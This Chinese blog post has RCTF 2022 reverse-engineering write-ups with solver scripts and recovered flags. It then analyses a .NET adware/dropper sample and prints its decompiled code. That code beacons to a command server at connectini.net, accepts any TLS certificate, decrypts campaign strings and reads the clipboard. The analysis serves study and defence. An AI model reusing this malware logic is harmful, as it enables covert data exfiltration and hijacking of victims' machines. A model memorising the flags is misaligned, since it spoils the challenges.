checkyourkey

主要代码逻辑保存在libCheckYourKey.so

1
2

if (MainActivity.ooxx(content)) {
                    new AlertDialog.Builder(MainActivity.context).setTitle("result").setMessage("Congratulations!").show();

加密主要逻辑如下

最后会和一段数据比较，但是数据存在异常，非正常base64加密数据。

我们找到init_array，如下这段完成了对一大段数据的解密

通过脚本还原数据得到如下，因为手机坏了这次没有动调emm，主要是利用数组指针，然后直接执行获得内容

得到内容如下，猜测有检测frida

解密得到aes后的数据

然后aes解密

1
2
3
4
5
6
7
8
9

from Crypto.Cipher import AES

cipher = b'\x49\x67\xeb\x32\x9d\x05\x61\xda\xdb\x07\xd7\x5a\xb9\x01\xb2\x46'
key = b"goodlucksmartman"
aes = AES.new(key,AES.MODE_ECB)
output = aes.decrypt(cipher)
print(output)

# b'flag{rtyhgf!@#$}'

rttt

这里存在rc4特征

rc4的秘钥通过异或生成，得到为Welc0me to RCTF 2O22

然后rc4函数之后出现了一段大小为15的数组，解密出来为Congratulations

解密rc4，很明显顺序不太对

1
2
3
4
5
6

from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'Welc0me to RCTF 2O22')
t1 = [52, 194, 101, 45, 218, 198, 177, 173, 71, 186, 6, 169, 59, 193, 204, 215, 241, 41, 36, 57, 42, 192, 21, 2, 126, 16, 102, 123, 94, 234, 94, 208, 89, 70, 225, 214, 110, 94, 178, 70, 107, 49]
f = rc4.decrypt(bytes(t1)).decode()
print(f)
C7DD9165-R-72--}332DE0CBEF9C{1776T7DF3DCEF

回到xor的地方，构造密文得到置换表

获取输入–>置换–>rc4

1
2

s1 = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTY'
s2 = 'n0mWa8v4bq31zflYohd92yispr7wtTjQRe5Exuc6gk'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'Welc0me to RCTF 2O22')

t1 = [52, 194, 101, 45, 218, 198, 177, 173, 71, 186, 6, 169, 59, 193, 204, 215, 241, 41, 36, 57, 42, 192, 21, 2, 126, 16, 102, 123, 94, 234, 94, 208, 89, 70, 225, 214, 110, 94, 178, 70, 107, 49]
f = rc4.decrypt(bytes(t1)).decode()


s1 = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTY'
s2 = 'n0mWa8v4bq31zflYohd92yispr7wtTjQRe5Exuc6gk'
dic = {}
for i in range(len(s2)):
    dic[i] = s1.index(s2[i])

f1 = ['' for i in range(42)]
for i in range(len(f)):
    f1[dic[i]] = f[i]
print(''.join(f1))

huowang

非预期的题，第一个迷宫走完然后爆破即可，这里就记一下学习笔记。

unicorn

1. uc_open(uc_arch arch, uc_mode mode, uc_engine **result)

   UC_ARCH_X86, // X86 architecture (including x86 & x86-64)

   

   UC_MODE_64 = 1 << 3, // 64-bit mode

2. uc_mem_map

3. uc_mem_write

4. uc_hook_add

5. uc_emu_start

6. uc_close

看似hook了一个奇怪的指令

动态修改后，更改为了syscall，然后对syscall的调用进行处理

设置硬件断点可以发现实在第二段模拟中修改了dword_18D73E0，

从而修改if中的第二个值

然后跳转到了

观察syscall，每一轮syscall都会进行一轮异或，也就是smc自解密代码

配合hook回调函数，可以看出第一个函数为uc_reg_read_batch函数，把7个寄存器的值读入到了qword中，然后在进行判断是sys_write还是sys_exit

第一段代码模拟为0x145e0a9–>0x145E0FA

第二段代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

.rodata:000000000145E0C2                 mov     r10d, 0
.rodata:000000000145E0C8                 mov     rbx, 400174h
.rodata:000000000145E0D2                 mov     rdi, 400174h
.rodata:000000000145E0DC                 mov     rsi, offset loc_407B34
.rodata:000000000145E0E6                 mov     r10, offset qword_400170
.rodata:000000000145E0F0                 mov     r11, 400172h

.rodata:000000000145E010                 lea     rax, loc_4000D9
.rodata:000000000145E017                 mov     r8, [rbx]
.rodata:000000000145E01A                 xor     [rax], r8      
.rodata:000000000145E01D                 mov     r8, [rbx+8]
.rodata:000000000145E021                 xor     [rax+8], r8   
.rodata:000000000145E025                 mov     r8, [rbx+10h]
.rodata:000000000145E029                 xor     [rax+16], r8   R
.rodata:000000000145E02D                 mov     r8, [rbx+18h]
.rodata:000000000145E031                 xor     [rax+24], r8  
.rodata:000000000145E035                 mov     r8, [rbx+20h]
.rodata:000000000145E039                 xor     [rax+32], r8 
.rodata:000000000145E03D                 mov     r8, [rbx+28h]
.rodata:000000000145E041                 xor     [rax+40], r8    
.rodata:000000000145E045                 mov     r8, [rbx+30h]
.rodata:000000000145E049                 xor     [rax+48], r8    
.rodata:000000000145E04D                 mov     r8, [rbx+38h]
.rodata:000000000145E051                 xor     [rax+56], r8   
.rodata:000000000145E055                 mov     al, [rsi]
.rodata:000000000145E057                 add     rsi, 1         
.rodata:000000000145E05B                 jmp     short loc_4000D9

有一点点迹象，如下

留坑：

这个师傅写了一个脚本，通过修改代码在迷宫上执行dfs，使用pwntools的disasm来获得新的xor-key。后续写好了会补上来

https://hackmd.io/@94y7q597ST2hNdB9lbTJhA/S1wJr4Bds#HuoWang

picstore

还原字节码

修改了字节码加载，修改lua-5.3.3的逻辑后即可获取到字节码

1

luadec -dis picStore.bin > out.txt

在load的时候修改了字节码，但是在dump的时候没有修改字节码

自编译luadec，可以得到结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

; Disassembled using luadec 2.2 rev: UNKNOWN for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis picStore.bin 

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: SETTABUP  U0 K0 R0     ; U0["menu"] := R0
    2 [-]: CLOSURE   R0 1         ; R0 := closure(Function #0_1)
    3 [-]: SETTABUP  U0 K1 R0     ; U0["upload_impl"] := R0
    4 [-]: CLOSURE   R0 2         ; R0 := closure(Function #0_2)
    5 [-]: SETTABUP  U0 K2 R0     ; U0["download_impl"] := R0
    ...

第二种方法，先通过opcode还原写成正常的字节码

https://bbs.pediy.com/thread-275620.htm#msg_header_h3_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

import gdb
import time
 
startt = time.time()
fp = open(r"./log.log","w")
strr = ""
def pt(p):
    global strr
    strr += p + "\n"
 
Esp = 0
# 断点
gdb.execute('b *0x55555559C078')    # LoadBlock
gdb.execute('b *0x55555559C184')    # LoadByte
gdb.execute('b *0x55555559C1D1')    # LoadInt
gdb.execute('b *0x55555559C111')    # LoadNumber
gdb.execute('b *0x55555559C0A1')    # LoadInteger
 
gdb.execute('r')
while 1:
 
 
    frame = gdb.selected_frame()
    rip = frame.read_register("rip")
 
    if rip == 0x55555559C078 :
 
        rdx = frame.read_register("rdx")
        Esp += rdx
 
    elif rip == 0x55555559C184:
        pt(f"{hex(Esp).ljust(10,' ')} => 1")
 
    elif rip == 0x55555559C1D1:
        pt(f"{hex(Esp).ljust(10,' ')} => 4")
 
    elif rip == 0x55555559C111:
        pt(f"{hex(Esp).ljust(10,' ')} => 8")
 
    elif rip == 0x55555559C0A1:
        pt(f"{hex(Esp).ljust(10,' ')} => 8")
 
    if Esp == 0x19f0:
        fp.write(strr)
        fp.close()
        print("finish!!!")
        enddd = time.time()
        print(enddd - startt)
        break
 
 
    gdb.execute('c')
    

写fix_picstore.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import struct
fp = open(r"log.log","r")
fps = open(r"picStore.bin","rb")
fix_bin = open(r"fix_picStore.bin","wb")
data = fp.readlines()
data_bin = fps.read()
fix_data = b""
 
 
ans = 0
for i in range(len(data)):
    op_str = data[i]
    loa = int(op_str[2:6],16) + 1
    step = int(op_str[14:15],16) 
 
    for j in range(ans,loa):
        fix_data += struct.pack("B",data_bin[j])
 
    for j in range(loa,loa + step):
        if data_bin[j] != 0 and data_bin[j] != 0xff:
            t = data_bin[j] ^ 0xff
            fix_data += struct.pack("B",t)
        else:
            fix_data += struct.pack("B",data_bin[j])
 
    ans = loa + step
fix_bin.write(fix_data)
fix_bin.close()

然后使用unluac还原

1

java -jar ./unluac.jar ./fix_picStore.bin > ./oplua.lua

得到源码后分析发现，进入check_func函数

在该函数中发现了关键函数标志

1

a_AHy3JniQH4

klee求解

通过a_AHy3JniQH4找到对应ida中对应的函数chk_23

看一下ida中代码实现，利用klee进行还原input

https://github.com/Pusty/writeups/blob/master/RCTF2022/kleeMe.c

先生成字节码，然后再执行klee

1

clang-11 -I klee/include -emit-llvm -c kleeMe.c &&  ~/klee_deps/klee_build110stp_z3/bin/klee kleeMe.bc

1
2
3
4
5
6
7
8

ktest file : 'test000001.ktest'
args       : ['klee.bc']
num objects: 1
object 0: name: 'input'
object 0: size: 30
object 0: data: b'!\x92\xd0\xcf34\xe6\xbe\xc7\xd3n3\xcf\xbe.3O\xb7Ig*g\xc5S\xdd\x1d\xd1\xf0\xc2\x1a'
object 0: hex : 0x2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a
object 0: text: !...34....n3...3O.Ig*g.S......

脚本原理

对于所有abs方程，都假设为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <klee/klee.h>

// clang-11 -I klee/include -emit-llvm -c kleeMe.c &&  ~/klee_deps/klee_build110stp_z3/bin/klee kleeMe.bc

bool chk_23(unsigned char *a1);

int main() {
    unsigned char input[30];
	klee_make_symbolic(input, 30, "input");
    int res = chk_23(input);
    return res;
}

int abs32(int x) {
    klee_assume(x == 0);
    return 0;
}

bool  chk_23(unsigned char *a1) {
unsigned int v1;
unsigned int v2;
unsigned int v3;
unsigned int v4;
unsigned int v5;
unsigned int v6;
unsigned int v7;
unsigned int v8;
unsigned int v9;
unsigned int v10;
unsigned int v11;
unsigned int v12;
unsigned int v13;
unsigned int v14;
unsigned int v15;
unsigned int v16;
unsigned int v17;
unsigned int v18;
unsigned int v19;
unsigned int v20;
unsigned int v21;
unsigned int v22;
unsigned int v23;
unsigned int v24;
unsigned int v25;
unsigned int v26;
unsigned int v27;
unsigned int v28;
unsigned int v30;
unsigned int v31;
unsigned int v32;
unsigned int v33;
unsigned int v34;
unsigned int v35;
unsigned int v36;
unsigned int v37;
unsigned int v38;
unsigned int v39;
unsigned int v40;
unsigned int v41;
unsigned int v42;
unsigned int v43;
unsigned int v44;
unsigned int v45;
unsigned int v46;
unsigned int v47;
v1 =a1[0];
v2 =a1[1];
v3 =a1[2];
v4 =a1[3];
v5 =a1[4];
v6 =a1[5];
v7 =a1[6];
v8 =a1[7];
v9 =
+abs32(72265*v1-2384745)
+abs32(264694*v1-190137*v2+19025100)
+abs32(25295*v2+69369*v3+191287*v1-24434293)
+abs32(-170345*v2+217412*v3-26668*v1+38500*v4-27440782)
+abs32(127326*v4+260948*v2+-102835*v1+225038*v5-129683*v3-45564209)
+abs32(277432*v6+110191*v3+-186022*v4+175123*v2-75564*v5-252340*v1-12226612)
+abs32(255036*v7+-90989*v3+-201344*v4+122006*v5+-140538*v6+109859*v2-109457*v1-9396023);
v10 =a1[8];
v11 =a1[9];
v30 =v11;
v31 =a1[10];
v32 =a1[11];
v12 =
+abs32(251337*v3+-198187*v6+-217900*v2+-62192*v8+-138306*v7+-165151*v4-118227*v1-22431*v5+72699617)
+abs32(17253*v8+-134891*v7+144501*v4+220594*v2+263746*v3+122495*v6+74297*v10+205480*v1-32973*v5-115484799)
+abs32(101752*v11+67154*v8+-20311*v1+-30496*v6+-263329*v7+-99420*v10+255348*v3+169511*v4-121471*v2+231370*v5-33888892)
+abs32(-250878*v11+108430*v1+-136296*v5+11092*v8+154243*v7+-136624*v3+179711*v4+-128439*v6+22681*v31-42472*v10-80061*v2+34267161)
+abs32(41011*v8+-198187*v1+-117171*v7+-178912*v3+9797*v11+118730*v10-193364*v5-36072*v6+10586*v31-110560*v4+173438*v2-176575*v32+54358815)+v9;
v33 =a1[12];
v34 =a1[13];
v16 =a1[14];
v35 = v16;
v36 =a1[15];
v17 =
+abs32(243012*v33+-233931*v4+66595*v7+-273948*v5+-266708*v30+75344*v8-108115*v3-17090*v31+240281*v10+202327*v1-253495*v2+233118*v32+154680*v6+25687761)
+abs32(-69129*v10+-161882*v3+-39324*v32+106850*v1+136394*v5+129891*v2+15216*v33+213245*v30-73770*v34+24056*v31-123372*v8-38733*v7-199547*v4-10681*v6+57424065)
+abs32(-236487*v30+-45384*v1+46984*v32+148196*v7+15692*v8+-193664*v6+6957*v10+103351*v16-217098*v34+78149*v4-237596*v5-236117*v3-142713*v31+24413*v33+232544*v2+78860648)
+abs32(65716*v36+-18037*v32+-42923*v7+-33361*v4+161566*v6+194069*v31+-154262*v2+173240*v3-31821*v33-80881*v5+217299*v8-28162*v10+192716*v1+165565*v30+106863*v16-127658*v34-75839517)
+v12;
v37 =a1[16];
v38 =a1[17];
v18 =a1[18];
v39 =v18;
v19 =
+abs32(175180*v35+25590*v4+-35354*v36+-173039*v37+145220*v31+6521*v7+99204*v30+72076*v33+207349*v2+123988*v5-64247*v8+169099*v6-54799*v3+53935*v1-223317*v32+215925*v10-119961*v34-83559622)
+abs32(-207225*v1+-202035*v3+81860*v33+-114137*v5+265497*v36+-216722*v8+276415*v34+-201420*v10-266588*v38+174412*v6+249222*v30-191870*v4+100486*v2+37951*v31+67406*v32+55224*v37+101345*v7-76961*v35+33370551)
+abs32(-268870*v36+103546*v30+-124986*v33+42015*v7+80222*v2+-77247*v10+-8838*v31+-273842*v4+-240751*v34-187146*v32-150301*v6-167844*v3+92327*v8+270212*v5-87705*v18-216624*v1+35317*v37+231278*v38-213030*v35+114317949)
+v17;
v40 =a1[19];
v20 =
+abs32(43170*v3+-145060*v2+199653*v6+14728*v36+139827*v30+59597*v35+2862*v10+-171413*v37+-15355*v31-71692*v7-16706*v32+264615*v1-149167*v39+75391*v33-2927*v4-187387*v5-190782*v8-150865*v34+44238*v38-276353*v40+82818982)
+v19;
v41 =a1[20];
v21 =
+abs32(-3256*v33+-232013*v31+-261919*v35+-151844*v32+11405*v4+159913*v38+209002*v7+91932*v40+270180*v10+-195866*v3-135274*v39-261245*v1+24783*v41+262729*v8-81293*v30-156714*v2-93376*v34-163223*v37-144746*v5+167939*v6-120753*v36-13188886);
v22 =a1[21];
v42 =v22;
v43 =a1[22];
v23 =
+abs32(-92750*v34+-151740*v33+15816*v41+186592*v30+-156340*v35+-193697*v2+-108622*v8+-163956*v5+78044*v4+-280132*v22-73939*v39-216186*v3+168898*v36+81148*v40-200942*v38+1920*v1+131017*v32-229175*v10-247717*v37+232852*v31+25882*v7+144500*v6+175681562)
+abs32(-240655*v41+103437*v36+236610*v33+100948*v8+82212*v6+-60676*v5+-71032*v3+259181*v7+100184*v10+7797*v35+143350*v30+76697*v2-172373*v31-110023*v43-13673*v4+129100*v37+86759*v1-101103*v39-142195*v22+28466*v38-27211*v32-269662*v40+9103*v34-96428951)
+v21
+v20;
v44 =a1[23];
v45 =a1[24];
v24 =
+abs32(234452*v40+-23111*v35+-40957*v2+-147076*v8+16151*v38+-250947*v41+-111913*v36+-233475*v30+-2485*v34+207006*v32+71474*v3+78521*v1-37235*v42+203147*v5+159297*v7-227257*v44+141894*v31-238939*v10-207324*v43-168960*v39+212325*v6+152097*v37-94775*v33+197514*v4+62343322)
+abs32(216020*v44+-248561*v35+-86516*v39+237852*v32+-132193*v37+-101471*v3+87552*v31+-122710*v8+234681*v5+-24880*v7+-245370*v1+-17836*v42-225714*v40-256029*v4+171199*v41+266838*v10-32125*v30-43141*v38-87051*v36-68893*v45-242483*v34-12823*v2-159262*v33+123816*v43-180694*v6+152819799)
+v23;
v46 =a1[25];
v25 =
+abs32(-142909*v40+-111865*v37+258666*v42+-66780*v2+-13109*v41+-72310*v31+-278193*v32+-219709*v30+40855*v8+-270578*v44+96496*v5+-4530*v1+63129*v34-4681*v7-272799*v36-225257*v10+128712*v43-201687*v45+273784*v3+141128*v35+93283*v38+128210*v39+47550*v6-84027*v4+52764*v46-140487*v33+105279220)
+v24;
v26 =a1[26];
v47 =a1[27];
v27 =
+abs32(-215996*v4+-100890*v46+-177349*v7+-159264*v6+-227328*v33+-91901*v30+-28939*v10+206392*v47+6473*v31+-22051*v26+-112044*v40+-119414*v36+-225267*v41+223380*v3+275172*v5+95718*v45-115127*v35+85928*v32+169057*v44-204729*v1+178788*v42-85503*v37-121684*v2-18727*v38+109947*v39-138204*v8-245035*v34+134266*v43+110228962)
+v25
+abs32(-116890*v3+67983*v33+-131934*v4+256114*v46+128119*v30+48593*v39+-41706*v2+-217503*v32+49328*v6+223466*v7+-31184*v5+-208422*v42+261920*v1+83055*v26+115813*v43+174499*v35-188513*v41+18957*v31+15794*v10-2906*v34-25315*v8+232180*v38-102442*v45-116930*v40-192552*v44-179822*v37+265749*v36-54143007);
v28 =a1[28];
return v27
       + abs32(
           -165644 * v38
         + 4586 * v45
         + 138195 * v31
         + 155259 * v41
         + -185091 * v3
         + -63869 * v37
         + -23462 * v36
         + 150939 * v47
         + -217079 * v8
         + -122286 * v6
         + 5460 * v44
         + -235719 * v7
         + 270987 * v32
         + 157806 * v40
         + 262004 * v35
         - 2963 * v34
         - 159217 * v10
         + 266021 * v39
         - 190702 * v30
         - 38473 * v26
         + 122617 * v2
         + 202211 * v42
         - 143491 * v33
         - 251332 * v4
         + 196932 * v5
         - 155172 * v28
         + 209759 * v46
         - 146511 * v1
         + 62542 * v43
         + 185928391)
       + abs32(
           57177 * v30
         + 242367 * v45
         + 226332 * v37
         + 15582 * v32
         + 159461 * v40
         + -260455 * v28
         + -179161 * v43
         + -251786 * v38
         + -66932 * v47
         + 134581 * v1
         + -65235 * v35
         + -110258 * v34
         + 188353 * v44
         + -108556 * v6
         + 178750 * v46
         + -20482 * v31
         + 127145 * v8
         + -203851 * v5
         + -263419 * v10
         + 245204 * v39
         + -62740 * v26
         + 103075 * v2
         - 229292 * v42
         + 142850 * v36
         - 1027 * v33
         + 264120 * v3
         + 264348 * v4
         - 41667 * v41
         + 130195 * v7
         + 127279 * a1[29]
         - 51967523) == 0;
}

可以得到结果

1
2
3
4
5
6
7
8

ktest file : 'test000001.ktest'
args       : ['klee.bc']
num objects: 1
object 0: name: 'input'
object 0: size: 30
object 0: data: b'!\x92\xd0\xcf34\xe6\xbe\xc7\xd3n3\xcf\xbe.3O\xb7Ig*g\xc5S\xdd\x1d\xd1\xf0\xc2\x1a'
object 0: hex : 0x2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a
object 0: text: !...34....n3...3O.Ig*g.S......

继续分析lua，可以提取出字节表L3_2

会利用该表进行操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

for L7_2 = L4_2, L5_2, L6_2 do
  temp = "xor"
  temp = _ENV[temp]
  L9_2 = L1_2[L7_2]
  L10_2 = L7_2 - 1
  temp = temp(L9_2, L10_2)  
  L1_2[L7_2] = temp
  temp = "xor"
  temp = _ENV[temp]
  L9_2 = L1_2[L7_2]
  L10_2 = 255
  temp = temp(L9_2, L10_2)  
  L1_2[L7_2] = temp
  temp = L1_2[L7_2]
  temp = temp & 255   
  L1_2[L7_2] = temp
  temp = #L2_2
  temp = temp + 1
  L9_2 = L1_2[L7_2]
  L9_2 = L9_2 + 1
  L9_2 = L3_2[L9_2] out[i] = t
  L2_2[temp] = L9_2
end

相当于一个置换表，脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

byteTable = "69f43f0a18a9f86b818a19b660b00e5938e5ce13171516c6b3a798421cc9d550a29766245b253211aa29035455e283264720128e462770dc10db9fde0b7763cb2f94b9375d30997101ed234b439ba14a6c4cb5e9ba2c7de858085fa3c8f978f3aed4fcea3a65e4566d90687975570f840c14a573888776454402527bfafb35ff33ddd3c3918cfe00742b1dd9c5b7a8bc22da92936295f6b4672128cfd0c08f1a9ae1648daf7ce63eb1cd6ecafdad2e3472a4a6899e7a0d53b285bdbb07b84df5d8bec2489dacabc7a02d311bcc51065c3bd1ef82613dd6d7495a7e2a1ef04fe04edf6f3c0405c4e76a408beb96e3eebf7f1f9c36f1f286f780415e39d2ec09c1"
validInput = "2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a"

byteTable = bytes.fromhex(byteTable)
validInput = bytes.fromhex(validInput)

def encrypt(inputValues):
    output = []
    for i in range(30):
        a = inputValues[i]^(i^0xff)&0xff
        output.append(byteTable[a])
    [print(hex(i).split('0x')[1],end='') for i in output]
        
def decrypt(enc):
    for i in range(30):
        index = byteTable.index(enc[i])
        a = index^(i^0xff)&0xff
        print(chr(a),end='')
    print('\ndecrypt success')
    
# encrypt(b'flag{U_90t_th3_p1c5t0re_fl49!}')
decrypt(validInput)

tips

abs32函数在算法上与y = x >> 31; (x^y)-y相等。

https://hackmd.io/@94y7q597ST2hNdB9lbTJhA/S1wJr4Bds

https://blog.csdn.net/qq_41866334/article/details/128302662

https://blog.wm-team.cn/index.php/archives/35/

https://www.cnblogs.com/xyqer/articles/16454030.html

https://hackmd.io/@K-atc/rJTUtGwuW?type=view#uc_hook_add

https://s1lenc3-chenmo.github.io/2021/07/25/unicorn%E5%85%A5%E9%97%A8%E5%8F%8A%E5%BC%BA%E7%BD%91%E6%9D%AFunicorn-like-a-pro%E5%A4%8D%E7%8E%B0/#unicorn%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97

最近好忙，把之前做的一个分析发出来吧。是一个朋友给我发的。在这个样本里也学到不少东西。

Publisher sample

沙盒报告

Hybrid沙盒报告

https://hybrid-analysis.com/sample/0869692793e8940ae58615f19957da715c053e7f3e1d5f2aa7d64ea2a9bb077b/62f61284b774d475fc58f872

vt报告

https://www.virustotal.com/gui/file/0869692793e8940ae58615f19957da715c053e7f3e1d5f2aa7d64ea2a9bb077b/relations

网络行为

• 访问google.com探测网络情况。

• 访问hxxps://connectini.net/series/conumer4publisher.php广告页面


修改内核

在nsi.dll中检测到hook钩子，NSI User-mode interface DLL

从程序中提取出该dll

静态分析

定时启动edge并访问网站

反混淆

通过de4dot检测出为.NET Reactor混淆。

1
2
3
4
5

C:\Users\Scr1pt\Desktop\de4dot-master\Release\net45>de4dot.exe Wycuwaeqaetae.exe -d

de4dot v3.1.41592.3405

Detected .NET Reactor (C:\Users\Scr1pt\Desktop\de4dot-master\Release\net45\Wycuwaeqaetae.exe)

脱壳完成后如下

代码分析

main函数

1
2
3
4
5
6
7
8

private static void Main(string[] args)
{
	Class1.smethod_19(Assembly.GetExecutingAssembly().Location);
	Class1.smethod_5(Class7.smethod_0());
	Class4.smethod_0();
	Class4.smethod_2();
	Class2.smethod_1(args);
}

• 调用Class2.smethod_1并传入参数args

class2中核心代码功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

public static List<string> smethod_2()
	{
		RegistryKey registryKey;
		if (Class1.smethod_4())
		{
			registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet");
		}
		else
		{
			registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
		}
		List<string> list = new List<string>();
		foreach (string str in registryKey.GetSubKeyNames())
		{
			RegistryKey registryKey2 = registryKey.OpenSubKey(str + "\\DefaultIcon");
			if (registryKey2 != null)
			{
				object value = registryKey2.GetValue(null);
				if (value != null)
				{
					string text = value as string;
					if (text.Contains(".exe"))
					{
						int num = text.LastIndexOf(".exe");
						if (num >= 0)
						{
							text = text.Substring(0, num + 4);
						}
						list.Add(text);
					}
				}
			}
		}
		return list;
	}

找到菜单里的浏览器如

找到操作系统默认浏览器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

```



![image-20220815105624929](/Users/scr1pt/Library/Application Support/typora-user-images/image-20220815105624929.png)



- 

![image-20220815104407263](https://scr1pt-1302658871.cos.ap-chengdu.myqcloud.com/img/image-20220815104407263.png)

解密信息

```c#
private static void smethod_3(string[] string_0)
	{
		string[] array;
		if (string.Join("", string_0).ToLower().Equals("/static"))
		{
			array = Class3.smethod_1("MfH/416BjL3duVScX5KRh+n3oH+zTD2HchoneRO79NT78OB4DF7SPDLH2HP7tCOzC9uHnKFXRLOeH/W0tKJ9SQ==");
		}
		else if (string.Join("", string_0).ToLower().Equals("/didane"))
		{
			array = Class3.smethod_1("dk0zM/j9YXI/r3xvxYqCkOVUzmdKicdnCO6HZa65jHQZ7c1c6GjaeyWt3WU3HGBCrc06Do2MNvANBpwRBGI21A==");
		}
		else if (string.Join("", string_0).ToLower().Equals("/noat"))
		{
			array = Class3.smethod_1("0TaZdn4GCR7imkFl+dvHP+rvvoZiV4u3LWOO00sqcdDOPUZ3NsBt9Gvi3res469eUgoV22XsJ5K9mly4ZPfEyA==");
		}
		else
		{
			array = Class3.smethod_0();
		}
		Class1.string_2 = "1";
		Class1.smethod_17(array[1]);
		Class1.smethod_9(array[0]);
		Class1.object_1 = array[3];
		Class1.object_0 = array[4];
		Class1.smethod_13(array[5]);
		Class1.smethod_15(string.Concat(new string[]
		{
			"_",
			array[0],
			"_",
			array[1],
			"_",
			array[3],
			"_",
			Class1.object_0
		}));
	}

编写脚本进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Application
{
    class Program
    {
        static void Main(string[] args)
        {
            string string_0 = "base64";
            //string_0.Replace(" ", "+");
            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            rijndaelManaged.Padding = PaddingMode.Zeros;
            rijndaelManaged.Mode = CipherMode.CBC;
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.BlockSize = 256;
            byte[] rgbKey = Convert.FromBase64String("qFHOogTyxI+U+0mWctzFngMWGgWUj5BB8bT2UlmnG5k=");
            byte[] rgbIV = Convert.FromBase64String("v9WVEt44bKrmHGpayCh40DodYqxlcDTF9lGIduUh0Zw=");
            ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rgbKey, rgbIV);
            byte[] array = Convert.FromBase64String(string_0);
            byte[] array2 = new byte[array.Length];
            new CryptoStream(new MemoryStream(array), transform, CryptoStreamMode.Read).Read(array2, 0, array2.Length);
            byte[] tt = new byte[array2.Length];
            for (int i = 0; i < array2.Length; i++)
            {
                Console.Write(Convert.ToChar(array2[i]));
            }
        }
    }
}
# lylal_chlyal_2_irecord_goodchannel_TN
# partner2_channel2_1_ProZipper_saleschannel1_TN
# publisher1_channel1_3_systemtools_normale_TN

解密了字符串后，调用网络函数

1

Config_CPM_To_Work_ID__njnghyznt58gkup7hpx5 PBM = Class9.smethod_1();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

public static Config_CPM_To_Work_ID__njnghyznt58gkup7hpx5 smethod_1()
{
	ServicePointManager.ServerCertificateValidationCallback = ((object <p0>, X509Certificate <p1>, X509Chain <p2>, SslPolicyErrors <p3>) => true);
	HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://connectini.net/Series/Conumer4Publisher.php");
	httpWebRequest.Method = "POST";
	httpWebRequest.ContentType = "application/x-www-form-urlencoded";
	string s = "jiglibaf=" + Class5.smethod_1(Class1.smethod_16());
	HttpRequestCachePolicy cachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore);
	httpWebRequest.CachePolicy = cachePolicy;
	byte[] bytes = Encoding.UTF8.GetBytes(s);
	httpWebRequest.ContentLength = (long)bytes.Length;
	httpWebRequest.GetRequestStream().Write(bytes, 0, bytes.Length);
	Stream responseStream = httpWebRequest.GetResponse().GetResponseStream();
	StreamReader streamReader = new StreamReader(responseStream);
	string text = string.Empty;
	text = streamReader.ReadToEnd();
	responseStream.Dispose();
	streamReader.Dispose();
	text = Regex.Replace(text, "false", "");
	text = Class5.smethod_0(text);
	text = Regex.Replace(text, "[^\\u0009^\\u000A^\\u000D^\\u0020-\\u007E]", "");
	return JsonConvert.DeserializeObject<Config_CPM_To_Work_ID__njnghyznt58gkup7hpx5>(text);
}

访问如下ip和域名

重要的注册表，从中分析出该病毒共有四个部分

1

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery

动态分析

DpEditor程序在运行后会自动提权

设置策略ASLR

信息搜集

读取剪贴板
